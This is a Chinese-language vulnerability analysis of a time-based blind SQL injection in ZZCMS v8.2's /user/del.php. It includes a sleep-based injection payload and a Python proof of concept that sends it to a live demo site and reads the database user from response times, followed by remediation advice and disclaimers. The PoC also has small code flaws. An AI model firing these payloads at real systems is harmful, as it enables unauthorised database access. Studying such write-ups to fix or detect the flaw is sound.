ZZCMS v8.2 最新版SQL注入漏洞
字数 766 2025-08-18 11:37:02
ZZCMS v8.2 SQL注入漏洞分析与利用
漏洞概述
ZZCMS v8.2版本存在一个SQL注入漏洞,位于/user/del.php文件中。该漏洞由于对$tablename参数过滤不严导致,攻击者可以通过构造特殊的SQL语句实现时间盲注。
漏洞分析
漏洞位置
- 主要文件:
/user/del.php - 相关函数文件:
/inc/function.php
代码审计
-
参数获取:
/user/del.php第12行获取参数$id参数由于经过checkid()函数检查,无法直接注入
-
过滤绕过:
checkid()函数位于/inc/function.php第49行- 在
/inc/function.php第135行发现$tablename参数可控 - CMS过滤了大于号(
>)和小于号(<),将其转换为HTML实体
-
注入点构造:
- 通过控制
$tablename参数,可以构造如下SQL语句:
select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1;- 无需闭合引号,直接拼接SQL语句
- 通过控制
漏洞利用
测试Payload
id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23
利用原理
- 使用时间盲注技术
- 通过
if条件判断和sleep函数实现 - 判断
user()函数的第一个字符的ASCII码是否为121('y') - 如果是,则延迟5秒返回,否则立即返回
POC实现
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@' # 匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
for payload in payloads: # 遍历取出字符
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
try:
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"})
except:
pass
if time.time() - startTime > 5:
user = payload
print('user is:', user)
break
print('\n[Done] current user is %s' % user)
POC说明
- 遍历可能的字符集(字母、数字、特殊符号)
- 对每个字符构造特定的Payload
- 通过响应时间判断是否命中(超过5秒)
- 最终输出数据库用户名的第一个字符
防御建议
- 对所有用户输入进行严格的过滤和转义
- 使用预编译语句(Prepared Statement)或参数化查询
- 对数据库操作进行权限最小化设置
- 升级到最新版本的ZZCMS
注意事项
- 该漏洞已报送厂商并修复
- 本文仅限技术研究与讨论
- 严禁用于非法用途
- 实际测试应在授权环境下进行